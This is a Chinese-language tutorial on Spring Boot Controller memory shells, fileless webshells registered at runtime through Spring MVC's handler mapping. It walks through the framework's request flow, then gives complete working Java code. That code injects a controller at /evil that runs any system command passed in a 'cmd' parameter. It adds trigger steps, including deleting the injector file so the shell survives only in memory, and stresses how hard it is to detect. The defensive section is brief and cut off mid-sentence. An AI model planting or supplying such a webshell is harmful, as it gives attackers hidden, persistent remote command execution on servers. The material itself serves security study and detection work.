1. 基本概念
Spring Boot Controller 内存马 是针对 Spring Boot 框架特性设计的内存马,利用 Spring MVC 中 RequestMappingHandlerMapping
的动态注册能力,在运行时将恶意 Controller 注入 Spring 容器,无需文件落地即可实现 URL 绑定与恶意逻辑执行。
核心特点
-
框架依赖:基于 Spring MVC 组件(
DispatcherServlet
、RequestMappingHandlerMapping
)实现,仅适用于 Spring Boot Web 项目 -
URL 显式触发:恶意逻辑绑定到特定 URL 路径,需访问该路径才能触发(类似 Servlet 内存马,但更贴合 Spring 生态)
-
无文件落地:无需编写
.class
文件或配置application.properties/yaml
,全程通过内存反射与 API 调用完成注入 -
容器驻留:注入后持续存在于 Spring 容器中,直至应用重启或主动卸载
常见利用场景
-
攻击者通过漏洞(如文件上传、命令执行)在目标 Spring Boot 应用中执行注入代码
-
注入后通过访问预设 URL 传递命令参数(如
cmd=whoami
),实现远程控制 -
注入完成后可删除触发注入的入口文件(如 JSP、恶意接口),仅留存内存中的恶意 Controller
2. Spring Boot Controller 正常装载流程(开发者视角)
要理解内存马原理,需先掌握 Spring Boot 中 Controller 的正常开发与加载逻辑。
2.1 搭建 Spring Boot 项目
-
通过 创建项目,选择以下配置:
-
Spring Boot 版本:2.4.2(文档验证稳定版本,其他 Web 支持版本通用)
-
构建工具:Maven
-
依赖组件:Spring Web(必须,提供 MVC 与 Servlet 容器支持)
-
-
下载项目压缩包,解压后用 IDEA 打开,核心项目结构如下:
spring-demo/ ├── src/ │ └── main/ │ └── java/ │ └── com/example/demo/ │ ├── DemoApplication.java # 启动类 │ └── demos/web/ │ └── MyController.java # 自定义 Controller └── pom.xml # 依赖配置
2.2 编写 Controller 类
通过 @RestController
和 @RequestMapping
注解定义接口,示例代码如下:
package com.example.demo.demos.web;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
// 标识为 REST 风格 Controller(返回 JSON/字符串,无需视图解析)
public class MyController {
// 绑定 URL 路径 /index,处理 GET/POST 请求
"/index")
( public String index() {
return "index"; // 响应内容
}
}
2.3 启动与访问
-
运行
DemoApplication
启动类(含@SpringBootApplication
注解) -
浏览器访问
http://localhost:8080/index
,页面显示index
,说明 Controller 正常加载
3. Spring Boot Controller 加载流程(框架内部机制)
通过调试模式跟踪请求流程,可揭示 Spring Boot 如何将 URL 与 Controller 方法绑定。
3.1 核心请求链路
当访问 http://localhost:8080/index
时,请求经过以下关键步骤:
-
Servlet 容器层:请求先经过 Tomcat 内置容器的 Filter 链(如
WsFilter
、RequestContextFilter
) -
Spring MVC 入口:进入
DispatcherServlet
(Spring MVC 核心前端控制器) -
请求分发:
DispatcherServlet.doDispatch()
方法负责请求分发,核心逻辑是「找到匹配的 Controller 方法」 -
Handler 映射:通过
getHandler()
方法遍历handlerMappings
列表,找到能处理/index
路径的映射器 -
方法执行:调用匹配的 Controller 方法(
MyController.index()
),返回响应结果
3.2 关键组件解析
(1)HandlerMapping 列表
handlerMappings
是 Spring MVC 中用于 URL 与 Controller 映射的核心组件,默认包含 5 个实现类,其中 RequestMappingHandlerMapping
负责处理 @RequestMapping
注解的 Controller:
映射器类名 | 作用 |
---|---|
RequestMappingHandlerMapping | 处理 @RequestMapping 注解的 Controller 方法 |
WelcomePageHandlerMapping | 处理默认首页(如 / 路径) |
BeanNameUrlHandlerMapping | 通过 Bean 名称作为 URL 路径映射 |
RouterFunctionMapping | 处理函数式编程风格的路由 |
SimpleUrlHandlerMapping | 处理简单 URL 与 Handler 的直接映射 |
(2)映射注册核心:MappingRegistry
RequestMappingHandlerMapping
内部通过 MappingRegistry
存储 URL 与 Controller 方法的映射关系,本质是一个内存 Map,结构如下:
-
Key:URL 路径(如
/index
) -
Value:
RequestMappingInfo
对象(封装请求方法、路径、参数等匹配规则)+ 对应的 Controller 方法(HandlerMethod
)
(3)正常注册流程
Spring Boot 启动时,RequestMappingHandlerMapping
会自动扫描带有 @Controller
/@RestController
注解的类,解析 @RequestMapping
注解信息,通过 registerHandlerMethod()
方法将映射关系注册到 MappingRegistry
中。
4. 内存马实现机制
内存马的核心思路是 跳过 Spring 启动时的自动扫描流程,在运行时通过反射与框架 API 手动调用 registerHandlerMethod()
,将恶意 Controller 注入 MappingRegistry
。
4.1 实现步骤拆解
-
获取 Spring 上下文:通过
RequestContextHolder
拿到当前请求的WebApplicationContext
(Spring 容器核心) -
获取映射器实例:从上下文获取
RequestMappingHandlerMapping
对象(负责 Controller 映射注册) -
定义恶意 Controller:创建含恶意逻辑(如命令执行)的 Controller 类
-
构建映射规则:通过
RequestMappingInfo
定义恶意 Controller 绑定的 URL 路径(如/evil
) -
注册映射关系:调用
registerHandlerMethod()
将恶意 Controller 方法注册到MappingRegistry
4.2 关键 API 说明
API 方法 | 作用 |
---|---|
WebApplicationContext.getBean() |
获取 Spring 容器中的 RequestMappingHandlerMapping 实例 |
RequestMappingInfo 构造方法 |
构建 URL 路径、请求方法等映射规则 |
RequestMappingHandlerMapping.registerMapping() |
将恶意 Controller 方法注册到映射表中 |
RequestContextHolder.getRequestAttributes() |
获取当前请求上下文,用于后续获取请求参数 |
5. 示例代码(Spring Boot Controller 内存马)
以下代码通过一个合法接口 /inject/controller
触发内存马注入,注入后可通过 /evil?cmd=xxx
执行系统命令。
5.1 注入入口 Controller
import org.springframework.context.ApplicationContext; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.DispatcherServlet; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.annotation.PatternsRequestCondition; import javax.servlet.http.HttpServletRequest; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.lang.reflect.Method; @RestController public class InjectEntryController { // 1. 正常接口(用于测试) @RequestMapping("/hello") public String hello() { return "hello world"; } // 2. 内存马注入入口:访问 /inject/controller 触发注入 @RequestMapping("/inject/controller") public String injectController() throws NoSuchMethodException { // 步骤1:获取 Spring Web 上下文 ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); WebApplicationContext context = (WebApplicationContext) requestAttributes.getAttribute( DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0); // 步骤2:获取 RequestMappingHandlerMapping 实例(核心映射器) RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); // 步骤3:创建恶意 Controller 实例 EvilController evilController = new EvilController(); // 步骤4:构建映射规则:URL 路径为 /evil,允许所有请求方法(GET/POST) PatternsRequestCondition urlPattern = new PatternsRequestCondition("/evil"); // URL 绑定 RequestMethodsRequestCondition requestMethods = new RequestMethodsRequestCondition(); // 允许所有请求方法 RequestMappingInfo mappingInfo = new RequestMappingInfo( urlPattern, // URL 模式 requestMethods,// 请求方法 null, null, null, null, null ); // 步骤5:注册恶意 Controller 方法到映射表 Method evilMethod = evilController.getClass().getMethod("execCmd"); // 获取恶意方法 mapping.registerMapping(mappingInfo, evilController, evilMethod); // 注册映射 return "Spring Boot Controller 内存马注入成功!"; } // 3. 恶意 Controller:含命令执行逻辑 @RestController public static class EvilController { // 恶意方法:处理 /evil 请求,执行 cmd 参数指定的系统命令 public String execCmd() throws IOException { // 获取当前请求对象,用于接收 cmd 参数 HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest(); String cmd = request.getParameter("cmd"); // 命令参数(如 cmd=whoami) if (cmd == null || cmd.trim().isEmpty()) { return "请传入 cmd 参数(如 /evil?cmd=whoami)"; } // 执行系统命令并读取结果 Runtime runtime = Runtime.getRuntime(); Process process = runtime.exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); StringBuilder result = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { result.append(line).append("\n"); // 拼接命令输出 } reader.close(); return "命令执行结果:\n" + result; } } }
6. 触发步骤
-
启动目标应用:运行含上述代码的 Spring Boot 项目(确保
InjectEntryController
被 Spring 扫描到) -
触发内存马注入:
-
浏览器访问
http://localhost:8080/inject/controller
-
页面显示
Spring Boot Controller 内存马注入成功!
,说明恶意 Controller 已注册
-
-
执行恶意逻辑:
-
访问
http://localhost:8080/evil?cmd=whoami
(Windows 系统)或http://localhost:8080/evil?cmd=id
(Linux 系统) -
页面返回命令执行结果(如当前用户信息)
-
-
隐蔽性验证:
-
删除
InjectEntryController.java
源文件或编译后的.class
文件 -
再次访问
http://localhost:8080/evil?cmd=whoami
,仍能执行命令(内存马驻留)
-
7. 总结
7.1 核心原理对比
对比维度 | 正常 Controller 加载 | Controller 内存马加载 |
---|---|---|
触发时机 | Spring Boot 启动时自动扫描 | 运行时通过注入入口(如接口)触发 |
依赖文件 | 需 .java 源文件或 .class 文件 |
无文件落地,全程内存操作 |
注册方式 | 框架自动调用 registerHandlerMethod |
手动反射 / API 调用 registerHandlerMethod |
可见性 | 可在代码 / 编译产物中找到 | 仅存在于 Spring 容器内存,无迹可寻 |
7.2 关键要点
-
核心入口:
RequestMappingHandlerMapping
是注入的核心对象,所有@RequestMapping
注解的 Controller 都通过它注册 -
必备条件:注入时需获取 Spring 上下文(
WebApplicationContext
),通常通过RequestContextHolder
或ServletContext
间接获取 -
隐蔽性:相比 Servlet/Filter 内存马,Controller 内存马更贴合 Spring Boot 正常业务逻辑,URL 路径可伪装成普通接口,更难被察觉
-
防御方向:监控
RequestMappingHandlerMapping.registerMapping
方法的异常调用、检测未知 URL 路径(如/evil